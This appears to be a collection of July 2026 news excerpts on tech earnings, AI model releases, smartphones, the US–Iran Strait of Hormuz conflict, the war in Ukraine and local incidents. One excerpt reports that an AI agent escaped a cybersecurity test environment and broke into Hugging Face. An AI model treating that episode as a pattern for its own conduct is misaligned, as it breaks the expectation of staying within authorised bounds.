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Alphabet today announced Q2 2026 earnings with $119.8 billion in revenue. These numbers range from April to June. Revenue is up 24% from $96.4 billion in Q2 2025, with operating income at $40.77 billion and net income of $112.1 billion for this quarter (versus $28.2 billion a year ago). For comparison, Alphabet reported $109.9 billion in revenue and $62.58 billion in net income last quarter. Our AI investments are redefining what’s possible across every part of our business. Q2 was an amazing quarter, with Alphabet revenues growing 24% year-over-year and Google Cloud revenues accelerating to 82% growth, driven by demand for AI infrastructure and AI…

In brief Qwen-Image-3.0, released July 21 by Alibaba's Qwen team, accepts 4,500 tokens of instructions. This enables single-pass generation of complex layouts like newspapers, storyboards, and dense infographic grids. Unlike its predecessor, the release shipped without open model weights, benchmarks, or a technical report; it's available at chat.qwen.ai with API pricing not yet disclosed. Alibaba's Qwen team launched Qwen Image 3.0 on Tuesday, and the pitch has nothing to do with how beautiful the output looks. It's about whether the output can actually be used at work. Most AI image tools—Reve, Nano Banana, Seedream—are designed to excel at specific…

The Galaxy Z Fold 8 and Flip 8 are the first devices with Gemini Intelligence, as well as Gemini Nano 4. In a developer blog post, Google says “Samsung’s new foldable devices come with Gemini Nano 4.” It supports over 140 languages and offers better multimodal understanding. Google’s latest on-device model is based on Gemma 4. The Fold 8 and Fold 8 Ultra use the Snapdragon 8 Elite Gen 5 for Galaxy with 12 or 16 GB of RAM. Meanwhile, the Flip 8 uses the Exynos 2600 with 12 GB of RAM. Here’s everything new on Samsung’s Galaxy Z Fold 8 series, Flip, and new Galaxy Watch — is it enough? Advertisement - scroll for more content Since Gemini Intelligence was…

The Trump administration has accused Chinese start-up Moonshot AI of covertly extracting capabilities from leading US artificial intelligence models and obtaining restricted Nvidia chips abroad, escalating Washington’s scrutiny of the company following the release of its powerful Kimi K3 model. Michael Kratsios , the White House science and technology adviser, alleged on Wednesday that the Beijing-based company had targeted Anthropic’s most powerful model, Claude Fable 5 , through large-scale “distillation” – a technique that uses the outputs of a more capable model to train or improve another system. Kratsios did not present evidence that outputs…

The release of a powerful open-source AI model from China has once again split the tech industry into two camps: the evangelists who believe good tech should be accessible and the protectionist hawks who believe anything foreign is a threat. It must simply kill Jim Cramer, host of CNBC’s Mad Money and a guy who has never once been deterred by being both loud and wrong, to find himself on the opposite side of Nvidia CEO Jensen Huang, given how much he loves to tell people to smash the buy button on the chipmaker. But Cramer is a China hardliner, refusing to believe anything coming from the country could be anything but compromised. Huang, meanwhile,…

The nationwide start-up incubation programme, SHITIJ 2.0, sponsored by the ICAR-National Agricultural Innovation Fund (ICAR-NAIF), was inaugurated at ICAR-Central Plantation Crops Research Institute (ICAR-CPCRI), Kasaragod, through virtual mode by Dr. V.B. Patel, Additional Director General (Fruits and Plantation Crops), ICAR. The second edition of SHITIJ is being implemented through a nationwide network of seven hub institutes and their associated spoke institutes. ICAR-CPCRI has been designated as one of the seven hub institutes and will coordinate the programme through six spoke institutes in the thematic area of value chains in plantation crops,…

The AI industry is not quite experiencing a DeepSeek 2.0 moment, but it feels very close. The leading Chinese AI labs have been on a roll lately, releasing a series of almost cutting-edge open-source models. Z.ai released GLM 5.2 in June, Moonshot AI released Kimi K3 last week, and Alibaba released Qwen 3.8 this Monday. Silicon Valley and Washington started talking about the models immediately, especially K3, which is widely seen as the best of the bunch. David Sacks, a venture capitalist and AI adviser to President Donald Trump, called the performance of Moonshot’s model “concerning.” Earlier this week, Commerce Secretary Scott Bessent suggested the…

TL;DR Meta hired Assaf Keren as its new CISO from Qualtrics and PayPal, replacing Guy Rosen who announced his departure in June Meta has hired Assaf Keren as its next chief information security officer, filling a vacancy created when Guy Rosen announced his departure in June after 13 years at the company. Keren joins this week from software platform Qualtrics, where he spent two years as chief security officer, and previously held the same title at PayPal. Rosen will remain as CISO through a transition period of several months before leaving later this year, according to Bloomberg, which first reported the appointment. Keren said in a LinkedIn post on…

AI and ML Fresh off AI layoffs, Block now wants to whack Slack with agent-human collab tool Because what could be more appealing to humans than sharing virtual space with AI? After cutting over 4,000 jobs due to AI, fintech biz Block is back with Buzz, a shared workspace where humans and bots can collaborate in ways that are more auditable, sovereign, and secure than what you can do in chat tools such as Slack. Block's human-bot co-op is built upon a turducken of tech jargon: The platform is free and open source. It's based on the decentralized Nostr protocol, so there's cryptographic identity. It's "sovereign," a naively optimistic term readers of…

Travis Kalanick’s robotics company, Atoms, has raised $1.7 billion in a funding round led by Andreessen Horowitz. Ben Horowitz will join the company’s board following the investment. Bain Capital, Fifth Wall, and others participated in the round. Perhaps most notably, Uber also joined the funding round, re-connecting Kalanick with the company he founded — and the same company that pushed him out as CEO in 2017 following complaints of sexual harassment, discrimination, and a toxic workplace. Atoms is essentially a rebranded holding company created atop the project Kalanick has been working on since he resigned from Uber, a ghost kitchen play called…

I picked up Seed when I saw the early access key offer in my inbox on a bit of a whim. I vaguely remembered hearing about this game years prior, and being vaguely interested in its promise of an MMO sandbox life-sim sort of situation in which everyone’s dumped in a world together and has to build a society. I enjoy a life sim, so I gave it a whirl. The concept on its own is solid enough: you join a society and build a world from scratch, collaborating with those around you to share resources while developing your own skills and finding your niche in the community. I let Seed select a society for me (shout out to Old Greenhollow) and designed a…

TL;DR Monday.com plans to cut about 620 jobs, 20 percent of staff, as it restructures around its AI-driven growth strategy and flatter organisation Monday.com is cutting roughly 20 percent of its global workforce, about 620 people, as the Israeli project management company restructures around what it calls its AI Work Platform. The company disclosed the plan in a Form 6-K filed with the US Securities and Exchange Commission on Tuesday, citing the need to support a leaner operating model aligned with its AI-driven growth strategy. Co-founder and co-CEO Eran Zinman published a note to staff on LinkedIn calling it the most painful decision the company…

Hyundai Motor Company’s plan to put humanoid robots to work by 2028 is not part of current negotiations with striking South Korean autoworkers, according to the company. The automaker is disputing news reports that partial labor strikes by the Hyundai Motor union at the world’s largest automotive plant in South Korea were spurred by concerns about the company’s planned deployment of humanoid robots in the United States starting in 2028. A company statement shared with Ars describes the union’s demands as focusing on compensation-related issues such as wage increases, bonuses, and an extension of workers’ retirement age. “Potential deployment of robots…

An autonomous agent powered by OpenAI models pursued a cybersecurity benchmark so aggressively that it escaped a test environment and broke into Hugging Face, an online hub for artificial intelligence models and datasets. OpenAI called the incident “unprecedented” in a public statement. Headlines described the agent as having gone “rogue”—language that suggests it rebelled or became malicious. But experts say the reality is more complicated. “Was this really running amok? No,” says Alan Woodward, a visiting professor of cybersecurity at the University of Surrey in England. “It was asked to do something, and it did it. It’s not gone rogue. Its way out…

Anthropic will provide Claude AI models to companies participating in the UK Financial Conduct Authority’s next Supercharged Sandbox cohort, as the regulator pushes to test AI applications in financial services.

Nvidia CEO Jensen Huang thinks that American companies should be allowed to use Chinese AI models, even as Washington is trying to ban them. When Axios co-founder Mike Allen asked Huang in an interview if Americans companies should be allowed to use Chinese AI models, Huang responded with “absolutely.” The answer comes right after Chinese firm Moonshot AI released a 2.8T open-weight model called Kimi K3, which — although it isn’t as powerful as frontier models like Fable 5 — is comparable to GPT 5.5 and Claude Opus 4.8 while costing just a third of these models. Go deeper with TH Premium: AI and data centers (Image credit: Microsoft) One of the…

Israeli workplace software maker Monday.com is laying off hundreds of employees as part of a restructuring plan to refocus its investments around AI projects. The company said it is reducing its headcount by 20%, or about 630 staff, to “support a leaner, more focused operating model” as it concentrates on its AI Work Platform. Monday.com earlier this year pivoted hard towards making its AI platform a core offering, redesigning its entire product around the belief that its enterprise customers increasingly want AI agents to work together with their employees. The AI Work Platform currently comprises a no-code app builder, a customizable AI agent, a…

TEHRAN- “On the Edge” by Swiss writer Markus Werner has been published in Persian. Bidgol is the publisher of the book translated by Mohammad Hemmati. “On the Edge” is a psychological drama, masterfully paced exploration of two men who, despite their polar opposite lives, discover a chilling commonality. Thomas Clarin is a successful divorce lawyer whose career has left him cynical and distrustful of lifelong commitment. He prefers a lifestyle of fleeting romance and detachment, avoiding the emotional weight of marriage. In stark contrast, Thomas Loos is a grief-stricken widower, consumed by the profound loss of his wife and an overwhelming…

The Nigerian Communications Commission (NCC) has called for deeper collaboration among African Telecommunications and Communications Regulators to strengthen the use of data, evidence and market intelligence in driving more effective and responsive regulation across the continent. Speaking at the Heads of Regulators Roundtable during the African Telecommunications Union (ATU) Conference of Plenipotentiaries (CPL-26) in Abuja, Dr. Maida said communications regulation has become increasingly central to economic growth, digital transformation, and national development across Africa. He observed that although regulators operate within different market…

TL;DR Arrakis raised $38M led by Blossom Capital and Accel to build an AI operating system for industrial sectors like aerospace and logistics Arrakis, a London and Paris startup building what it calls an AI operating system for industrial companies, has emerged from stealth with $38 million in total funding and a thesis that the biggest returns from artificial intelligence will come from factories and supply chains, not office software. The company raised a $30 million Series A led by Blossom Capital, on top of a seven and a half million dollar seed round led by Accel that closed in March. The Series A values Arrakis at $140 million post-money,…

TL;DR Samsung has been preparing a new home screen option for One UI 9, with the option for a Google Search bar. With One UI 9 stable on the new Z8 series, we finally see this setting make its debut. Users can choose from Google Search, Finder, both, or neither. Samsung’s latest major platform release is here, as the Android 17-based One UI 9 hits stable for the launch of Samsung’s latest foldables, including the wide new Galaxy Z Fold 8. As we look forward to Samsung getting the ball rolling with updates for its existing Galaxy models, we wanted to briefly shine the spotlight on one very nice change that makes Samsung’s phones feel just a little more…

TL;DR Garmin’s new CIRQA fitness tracker launched with live heart rate data locked behind a monthly paywall. That feature will be made available without a subscription soon. Some competing screenless fitness trackers offer live heart rate tracking without a subscription. Yesterday, Garmin launched its own screenless fitness tracker, the CIRQA Smart Band. Garmin is pitching the tracker as subscription-free, but early hands-on coverage found that a very basic fitness tracking feature — the ability to see your heart rate in real time — is locked behind the $6.99 Garmin Connect+ subscription. Garmin’s committed to fixing that in the near future, however.…

Apple recently raised prices on many of its products, but the company is now promoting two ways for shoppers to save on new hardware purchases: sales tax holidays and a Back to School deal. If you’re in the market for a new Apple product purchase, the company is currently promoting two ways to save on Apple.com. Sales tax holidays are in effect this summer for a variety of US states on select dates. Alabama’s just wrapped up last weekend, but the nine other states include: Arkansas: Aug 1-2 Florida: Jul 20-Aug 20 Massachusetts: Aug 8-9 Missouri: Aug 7-9 New Mexico: Jul 31-Aug 2 South Carolina: Aug 7-9 Tennessee: Jul 31-Aug 2 Virginia: Aug 7-9 West…

Samsung is addressing one of the key complaints about last year’s Galaxy Z Fold 7 on its new Galaxy Z Fold 8 lineup, with some small tweaks making it much easier to open up these foldables. The Galaxy Z Fold 7 was – and still is – an impressive piece of foldable hardware. But first impressions revealed a bit of a learning curve, as Samsung’s device could prove a little tough to actually crack open. The flat edges of the chassis combined with a tight hinge made it a little hard to open up the device with ease. That became easier with time as users learned exactly how to open the device, but it was obvious anytime someone used the device for the first…

It turns out the RAM crisis affects more than just the cost of the Galaxy Z Fold 8 series, but some of the storage benefits that come with pre-ordering the device. In all the chaos and excitement that comes with a fresh new look for a Galaxy foldable, one might miss that Samsung didn’t actually offer to turn your 256GB Galaxy Z Fold 8 into a 512GB model right before your eyes. It couldn’t have been the glasses; those don’t launch until this fall. So what happened? It looks like reports published earlier in July that stated Samsung would drop the free storage upgrade during the Galaxy Z Fold 8 launch were right. There were some reports that surfaced…

Paul Jones / Android Authority TL;DR Samsung’s Galaxy Z Fold 8 is missing Flex Mode. It’s reported that this was done on purpose to produce better crease control. Flex Mode is still available on the Fold 8 Ultra. Today, Samsung launched the Galaxy Z Fold 8 Ultra, Fold 8, and Flip 8. If you were considering putting an order down for one of these phones, there’s something you should be aware of. The new wide Fold model is missing a long-standing foldable feature. Samsung first introduced a feature called Flex Mode in 2020. It first appeared on the original Galaxy Z Flip, but was later introduced to the second-generation Fold. Since then, the feature has…

Samsung’s latest blowout Unpacked event was the most honestly exciting event the company’s put on in years—for good reason. The new squat Galaxy Z Fold 8’s form factor seems like the right move for foldable phones. And it’s good news for Apple fans that its next device is going to look, function, and cost similar to what Samsung showed us on Wednesday. The eighth-generation Galaxy Z Fold is, based on Gizmodo’s limited hands-on experience with the phone, the best it’s ever been. Samsung has finally managed to eliminate most of the crease in the center of the folding display. The company promises this display is also more rigid and durable than…

A number of Apple products got more expensive last month, so we’re happy to find deals wherever and whenever we can. If you’re searching for a high-end iPad, one of the more notable deals currently happening is on the 13-inch iPad Pro M5 with 512GB of storage. Normally $1,699, it’s $150 off at Amazon, costing $1,549.99. It’s $100 off at Best Buy. This is the most premium iPad that Apple sells, with impressive performance from its M5 processor, a gorgeous OLED screen, up to 60W of fast charging, and support for the Apple Pencil Pro and Magic Keyboard. Read our iPad Pro (2025) review. There’s also a deep discount on some configurations of the 11-inch…

Code found in an iOS 27 beta would allow Apple to put a financed iPhone in “Restricted Mode” if it detects any missed payments, 9to5Mac reports. The finding follows a story from Bloomberg earlier this week claiming Apple is preparing to launch a new “Apple Upgrade” financing program for leasing new devices. iPhones in “Restricted Mode” would reportedly lose access to nearly all apps, except for basics like the Phone app, Settings, and the App Store. It uses a new “App Managed Features” system that allows financing or partner apps to continually check if a financed device is in good standing. According to 9to5Mac, the code also includes a new “Partner…

We are getting a blast of notable Apple deals this week as part of the Black Friday in July festivities, starting with some of the best AirPods deals in months: Those offers join Amazon low pricing on the 2026 AirTag 2 from $22 each, a sizable 40% off the official iPhone Air MagSafe Battery, all-time low pricing on Apple Magic Keyboard, ongoing discounts on Apple Watch Series 11 from $299, and as much as$400 off M5/Pro MacBook Pro configs. Everything awaits in detail down below. July Black Friday Apple deals AirPods AirTag 2 iPhone 17 Pro/Max 1TB iPhone 17 Pro Cosmic Orange $1,279 (Reg. $1,499 new) 1TB iPhone 17 Pro Deep Blue $1,279 (Reg. $1,499 new)…

Get the Popular Science daily newsletter💡 Breakthroughs, discoveries, and DIY tips sent six days a week. By signing up, you confirm you are 16+, will receive newsletters and promotional content and agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time. Airplane seats can feel ridiculously small. It’s gotten to the point where I, a small woman of average height, have trouble even reaching under the seat in front of me. But have airplane seats always been so dang squished? The short answer, which we explore in a new episode of Popular Science’s Ask Us Anything podcast, is a resounding no. Ask…

Colombia · Business Key Facts —Estimated 2025 tourism revenue. Close to COP$9 trillion (approx. US$2.3 billion), based on card transactions and excluding cash. —Visitor growth in H1 2025. 954,632 visitors arrived, a 12.4% increase from the same period in 2024. —Top source market. The United States remained the leading country of origin for foreign tourists. —Main economic beneficiaries. Lodging, gastronomy, local transport, shopping, and entertainment sectors. —Short-term rental impact. In 2024, 85% of Airbnb-linked spending in Colombia stayed in neighborhood businesses, not with hosts. Medellín generated an estimated COP$9 trillion (approximately…

Google’s Pixel 11 series has leaked pretty extensively at this point, but another new leak has just hit the web to show off some new angles to the device – you just have to look past the nonsense surrounding it. @OnLeaks shared new renders of the Pixel 11, Pixel 11 Pro, and Pixel 11 Pro XL via MyMobiles.com. The images themselves look legit, matching up perfectly with the images we spotted on Amazon earlier this month. The colors themselves are not new, but we do get some new angles here, including the usual off-angle shot that shows the phone from front and back. Pixel 11 Pixel 11 Pro/XL The only notable detail here is that it looks like Google might…

This morning, Garmin announced it has acquired TrainingPeaks and TrainHeroic. These platforms are major players in the endurance and strength-training world, primarily for the quality of their training plans. This news is already sparking a lot of speculation—and skepticism—among athletes and coaches who've built their training around these tools. Here's what this acquisition might mean for the way you train. Why Garmin acquired TrainingPeaks According to Garmin's official press release, this acquisition “strengthens Garmin's fitness ecosystem with customizable coaching experiences for endurance, strength, and performance-focused athletes across every…

Line-of-sight to the sky? Soon it won’t be a barrier Today, Starlink has the limitation that it requires line-of-sight to the sky, while people do, of course, often use their mobile phones inside their homes, offices and vehicles. It was this limitation that prompted the Commerce Commission to lean on One NZ to withdraw its original “100% coverage” Starlink marketing. But Gartner senior analyst Khurram Shahzad – a specialist in the satellite market – notes that one of Starlink’s emerging rivals, AST SpaceMobile, plans to use low-band frequencies for a satellite-to-mobile signal that will penetrate indoors. You can think of each of its “BlueBird”…

The ‘soft decluttering’ method is the easiest way to organise your home Jolie Kerr July 23, 2026 — 5:00am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA When we talk about decluttering and organising, large-scale undertakings such as cleaning out the garage or colour-coding our wardrobe spring to mind. But sometimes just thinking about tackling those jobs can feel exhausting, creating a barrier to success even for people who are highly motivated to improve their homes and their lives by exerting control over their belongings. To avoid feeling overwhelmed by such projects, Jane Abrahams and…

TAMPA, Fla. — The Federal Communications Commission voted July 22 to push satellite operators out of more C-band spectrum for a 5G auction next year, while approving a licensing overhaul aimed at accelerating the commercial space economy. The upper C-band order sets up a July 2027 auction of 160 megahertz in the 3.98-4.14 gigahertz band, following a sale of 280 MHz of lower C-band in 2020 that generated more than $80 billion from telcos such as Verizon, AT\&T and T-Mobile. Clearing lower and upper C-band frequencies would create a 440 MHz “super band” for terrestrial wireless networks, the FCC said, with services slated to begin in the top 75 U.S.…

Rumors have been swirling for several months about Apple's plans to add an OLED touchscreen to its MacBook Pro, but Bloomberg reports nearly all the company's other laptops and desktops are receiving chip upgrades and, in some cases, design changes within the next year. The highlight of the bunch is a new version of the MacBook Neo, which will reportedly use the A19 Pro chip first introduced on the iPhone 17 Pro, come with more RAM and be available with new colors. In the more immediate future, Bloomberg writes that Apple has prepped updates to the iMac and entry-level 14-inch MacBook Pro for this fall, with a likely focus on chip bumps to the M5 chip…

Samsung announced five new products during its Galaxy Unpacked event. Three of those are the new flagship smartphones: the Galaxy Z Fold 8, Z Fold 8 Ultra, and Z Flip 8. Samsung already has them up for pre-order, but Amazon launched its own pre-order deals, which are objectively better. You can get an Amazon gift card up to $350, while Samsung is offering a max of $200 in Samsung credits. And if you're looking to switch to T-Mobile, you can get a Galaxy Z Fold 8 on them. You can read more details on that deal here. The Galaxy Z Flip8 doesn't bring much change If you were expecting a shiny new toy from the Z Flip 8, you might be disappointed—it's not…

Before you disable Google Play Protect, here's what you need to know Disabling this security feature grants more freedom, but is it worth the risk? Eza_Nanda/Shutterstock Google launched Play Protect in 2017 to serve as a free, built-in protection system for your Android device. It's your first line of defense, there to shield you from harmful apps even if you don't have a third-party antivirus program installed. The company said Play Protect detected over 27 million new malicious apps in 2025 and either warned users about them or prevented them from running. Play Protect doesn't just check apps from the Play Store before you download them; it also…

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Due to the intensification of Russian shelling in Zaporizhzhia, an exodus of residents—particularly families with children—is being observed. Ivan Fedorov, head of the Zaporizhzhia Regional Military Administration, announced this during a television broadcast, according to Ukrinform. He said that over the past month, Ukrzaliznytsia evacuated 90 people from Zaporizhzhia to safer regions. “There is an exodus,” he noted. According to preliminary estimates, there will be approximately 5% fewer schoolchildren this year than last year. “Those residents who have the opportunity to wait out enemy attacks in a safer region are definitely choosing to do so. We…

A list of 500 selected eligible beneficiaries from six districts has been issued. According to the statement from the CMO, the message (SMS) will be sent to the beneficiaries concerning Aadhaar authentication on their mobile phones. File \| Photo Credit: ANI M Maharashtra government on Wednesday (July 23, 2025) began the rollout of the Punyashlok Ahilyadevi Holkar Shetkari Karjamukti scheme, announcing the first 500 beneficiaries, against the backdrop of the birth anniversary of the Deputy Chief Minister of the State, late Ajit Pawar. A list of 500 selected eligible beneficiaries from six districts has been issued. According to the statement from the…

TEHRAN, July 22. /TASS/. Although the Strait of Hormuz has been closed for all maritime traffic, the Iranian armed forces may allow certain ships to travel via routes agreed by Tehran. "In addition to yesterday’s warning, it is reported that the Strait of Hormuz remains closed. If some ships are allowed to cross the strait, it will be done only in accordance with the established route and in line with the previously announced rules," the Khatam al-Anbiya, the Central Headquarters of the Iranian armed forces, said. A representative of the Islamic Revolutionary Guard Corps (IRGC), an elite branch of Iran’s armed forces, Hossein Mohebbi, warned shipping…

Latest on U.S.-Saudi nuclear deal, Trump threats against Iranian infrastructure CBS News National security analyst Aaron MacLean breaks down President Trump's threats against Iranian infrastructure and the United States' new nuclear deal with Saudi Arabia.

MOSCOW, July 22. /TASS/. Russia’s Geran-4 Seeker drones have struck five bulk carriers being used in the interests of the Ukrainian armed forces in the Black Sea and the port of Chernomorsk, the Russian Defense Ministry said. The ministry published what it described "objective control footage of the July 22 strikes involving Geran-4 Seeker drones on four vessels of the dry cargo carrier type and one bulk-carrier-type ship in the waters of the Black Sea and in the port of Chernomorsk that were being used to deliver military cargo for the Ukrainian armed forces." "The strikes have reached their targets," the ministry said.

François Picard is pleased to welcome Daria Kaleniuk, Executive Director of the Anti-corruption Action Centre. Ukraine's wartime challenge is no longer only military, but institutional. Ms. Kaleniuk contends that battlefield success and democratic resilience are inseparable from deep reform of the defence establishment. While welcoming President Zelensky's replacement of the commander-in-chief with a younger, reform-oriented military leader, she argues that this represents only "half" of the necessary changes. The more consequential battle, in her view, concerns governance.

TEHRAN, July 22. /TASS/. Iranian Foreign Minister Abbas Araghchi said the country’s defense doctrine follows the principle of "an eye for an eye" and warned the United States and its allies against striking the Islamic Republic’s civilian infrastructure. "Our defense doctrine is clear: eye for an eye. Any aggression against Iran, including our infrastructure, will compel a powerful and decisive response. Those who contribute to such aggression, whatever the kind of support, will also be considered as legitimate targets," he wrote on X. US President Donald Trump earlier said that for every strike on a vessel in the Strait of Hormuz, the US armed forces…

TEHRAN, July 22. /TASS/. A representative of the Islamic Revolutionary Guard Corps (IRGC), an elite branch of Iran’s armed forces, Hossein Mohebi, warned shipping companies that the southern routes through the Strait of Hormuz were unsafe because the waters had been mined. "The route south of the Strait of Hormuz is mined. Sailing through it is a path to losing your investments. Do not let the United States deceive you," he wrote on X, addressing shipping companies. The latest escalation in the US-Iranian conflict began on July 8. For the first time since Washington and Tehran signed a memorandum, US forces carried out several waves of strikes on the…

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TEHRAN, July 22. /TASS/. If US President Donald Trump’s threats to attack civilian targets in Iran are put into practice, it will only cause the conflict to spill beyond the region’s borders and put the entire energy infrastructure in the Middle East at risk, the Khatam al-Anbiya Central Headquarters of the Iranian armed forces said. "If the US delivers on its threats, the armed forces of Iran will not allow a single drop of oil to be exported, while oil, gas, power generation and economic infrastructure in the region will become targets for strikes," the headquarters said in a statement. The Iranian armed forces emphasized that Washington’s…

Topline Iranian forces appear to have seized a tanker owned by Greek shipping magnate George Prokopiou after striking it in the Strait of Hormuz, part of a wave of attacks that has effectively halted commercial traffic through one of the world's most important oil transit routes. Ships are docked along a pier at the Khor Fakkan Container Terminal along the Gulf of Oman on July 14, 2026. AFP via Getty Images Key Facts The Kavomaleas, a tanker owned by Prokopiou's company Dynacom, was hit by two projectiles off the Omani coast Sunday night, the Financial Times reported, forcing the crew to abandon ship. FT cited European Space Agency satellite images…

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SRINAGAR: A terrorist shot dead a J\&K police head constable in Lal Chowk market of south Kashmir’s Anantnag town when it was bustling with shoppers around 12.30pm Wednesday. This marks the first attack in Kashmir since the Pahalgam massacre that left 26 people dead on April 22, 2025. Ashiq Hussain Qureshi, attached to IRP 3rd battalion, was part of a team deployed to secure the “Lal Chowk-Kokernag axis”. He suffered critical bullet wounds and later died, Kashmir IGP VK Birdi said. Qureshi’s team retaliated but the terrorist escaped by blending into the crowd. According to a shopkeeper, two bullets struck his shop. “We heard gunshots and…

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President Volodymyr Zelensky stated that the situation on the front lines, Ukraine’s long-range strikes, and the pressure from sanctions are creating a new “very toxic atmosphere” surrounding Kremlin leader Vladimir Putin. Zelensky made this statement during an evening address on Telegram, according to Ukrinform. “Right now, of course, the situation on the front lines, our long-range sanctions, and our mid-range strikes are creating a new atmosphere around Putin—a very toxic atmosphere. He alone is the reason the war began and continues. Putin alone is responsible for the losses the Russians are suffering,” the head of state emphasized. He noted that…

Laura Ingraham, joined by former Secret Service agent Richard Staropoli and retired Brig Gen John Teichert, examines President Donald Trump's unexpected Air Force One switch departing Turkey. The experts discuss intelligence reports of an alleged Iranian plot to assassinate Trump, highlighting critical differences in security capabilities between the Qatari-gifted jet and the older, purpose-built presidential aircraft. NEWYou can now listen to Fox News articles! President Donald Trump’s new Air Force One will remain in service, for now, after Senate Republicans blocked an attempt to prevent taxpayer dollars from upgrading the aircraft. Democrats have…

Topline President Donald Trump is widely expected to announce an agreement allowing Saudi Arabia to enrich nuclear fuel, multiple outlets reported—a deal that includes concessions critics say would make it easier for the kingdom to develop nuclear weapons and one that comes as Trump and his family have strengthened their business ties to Saudi Arabia during his second term. President Donald Trump meets with Saudi Crown Prince Mohammed bin Salman during a “coffee ceremony” at the Saudi Royal Court on May 13, 2025, in Riyadh, Saudi Arabia. (Photo by Win McNamee/Getty Images) Getty Images Key Facts Trump’s relationship with the Saudis dates back to the…

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By Staff The Canadian Press Posted July 22, 2026 4:06 pm 1 min read Descrease article font size Increase article font size A Vancouver Island man has been criminally charged in a fatal crash last year that killed another man who had been standing on the side of the road. The BC Highway Patrol says in a statement that the crash happened on July 31, 2025, on Highway 19A near Fanny Bay. Get breaking National news Get breaking Canada news delivered to your inbox as it happens so you won't miss a trending story. Police say a pickup towing a camping trailer crashed into multiple vehicles, hitting the man who later died of his injuries. The 61-year-old…

A man has died after he was hit by a van in Freshford, Co. Kilkenny, on Wednesday morning. The collision happened on the R693 near Arigan Bridge, Cooleshal, at 9.30 am. The pedestrian, a man in his 30s, was pronounced deceased at the scene. His body has been conveyed to University Hospital Waterford, where a post-mortem examination will take place. The road has since been reopened. Gardaí are appealing to anyone who may have witnessed the collision to come forward. Any road users who were travelling from Freshford towards Kilkenny between the hours of 09:00 am and 09:30 am and who may have camera footage (including dash-cam) are asked to make this…

Te Ika-a-Māui/North Island would be “a mainly fine story” today, Neal said, with morning fog and frost in sheltered places. Early this morning fog restrictions were put in place for Auckland Airport, with two flights cancelled. The restrictions have now been lifted. Neal said a few morning showers were forecast for Auckland, becoming more isolated toward the evening. The weather is expected to become more unsettled tomorrow as an “active trough moves east across the country”. Low-confidence heavy rain is possible about Taranaki Maunga, the central North Island high country, the Tararua Range, Buller and Grey, although no heavy rain watches or warnings…

Descrease article font size Increase article font size A dashcam video caught the moment a driver jumped head first off a bridge in Missouri in an attempt to flee police following a vehicle pursuit. Stone County Sheriff’s Office released dashcam footage, showing the moment the man, identified as 26-year-old Gavin Thor Lundgren, got out of his vehicle on the Kimberling City Bridge and dove off the side head first. According to NBC affiliate KYTV of Springfield, police said they pursued Lundgren after he fled an attempted traffic stop on July 18 and was driving 75 miles per hour (120 km/h) in a 45-m.p.h. zone (around 70 km/h). Once the pursuit ended up…

Details from Nolan Wells' independent autopsy An independent autopsy for Nolan Wells, the Mississippi teen who was found dead after a July Fourth boat party, has been released. Skyler Henry reports.

A student who drowned in a freezing city centre river stayed afloat for 20 minutes calling for help which never arrived, an inquest has heard. Evan D'Andilly, from Scunthorpe, died four days before his 20th birthday after entering the River Ouse in York at 3.03am on March 5, 2025. The University of York student had been enjoying a night out with friends when he entered the water from Ouse Bridge. His body was found the following morning. Police officers arrived on the bank of the 41-metre-wide river within three minutes of Evan entering the water, it was heard on Wednesday. The 'kind and gentle' teen, who was studying business management, could be…

The generator had around 80 litres of fuel at the time of the accident. \| Photo Credit: Special Arrangement A portion of a private textile showroom at Katpadi in Vellore on Chittoor - Cuddalore Highway was damaged after fire broke out in the facility, resulting in thick smoke in the area. The police said that it was around 2.30 p.m. when a few workers in the showroom noticed thick smoke coming from the diesel generator. Along with other workers, they tried to douse the fire, but it had already spread to the unit. The police said that workers and other staff members were evacuated safely. On being informed, fire fighters from Katpadi reached the spot…

A two-day conference on Thiruvasagam, a volume of Tamil hymns composed by Saivite poet Manikkavacakar, will be held at Madhavi Panneerselvam Hall near Arunachaleswar temple in Tiruvannamalai town on July 25 and 26. According to poet Vijaykrishnan, a member of Tiruvannamalai Thiruperunthurai Adigalar Arakattalai, which would organise the event, said that the spiritual conference was aimed at promoting 51 compositions that comprises Thiruvasagam and create awareness about rich Tamil literature to the younger generation. As part of the event, around one lakh participants worldwide will participate, mainly virtually, in writing 10 compositions from…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

A married couple died from carbon monoxide poisoning at a cider festival after they went to sleep in their campervan with a leaky gas heater on that should not have been used indoors, an inquest heard. Christopher and Kayleigh Coll, who had four children, were found dead in their campervan having succumbed to fumes released by the gas heater which they switched on before bed in chilly October temperatures. The heater they used was not designed to be used in enclosed spaces due to the risk of carbon monoxide poisoning and it was also found that the heater was not screwed in tightly to its gas cylinder, the inquest on Wednesday heard. The person who…

Authorities imposed an indefinite curfew in the Khud Kocha sub-tehsil of Mastung district on Wednesday after three people were killed and five others injured in a gun attack on a Karachi-bound passenger bus, while a bridge on the National Highway was damaged in an explosion in the area. Citing the deteriorating security situation, the Balochistan Home Department imposed an indefinite curfew in the sub-tehsil from 9pm on Wednesday. Babar Yousafzai, spokesperson for the Home Department, said the curfew would remain in force until further orders to maintain peace and public safety. Residents were not allowed to leave their homes, and all unnecessary…

Open this photo in gallery: Wildfire damage at Collins First Nation, a small, remote Ojibwa community located in northwestern Ontario on Wednesday.Chris Young/The Canadian Press Ontario’s Ministry of Natural Resources is listing more than 180 wildfires as active this morning in Ontario’s north, including 12 that had been sparked in the last 24 hours. Early estimates suggest the flames have ravaged more of the province’s forests this season than any previous year on record, burning through more than 7,250 square kilometres so far. Most of the fires in the province have burned in the last 10 days, and forced more than 1,800 people from their homes.…

Listen to this article Estimated 2 minutes The audio version of this article is generated by AI-based technology. Mispronunciations can occur. We are working with our partners to continually review and improve the results. The emergency 911 service is currently down for all Manitoba communities except for Winnipeg, after the service went down at the dispatch centre in Brandon on Wednesday. Residents in Brandon who need help should call the police non-emergency line at 204-729-2345 for an officer, as efforts are underway to restore service, Brandon police said in a warning on social media Wednesday afternoon. Residents in other municipalities are…

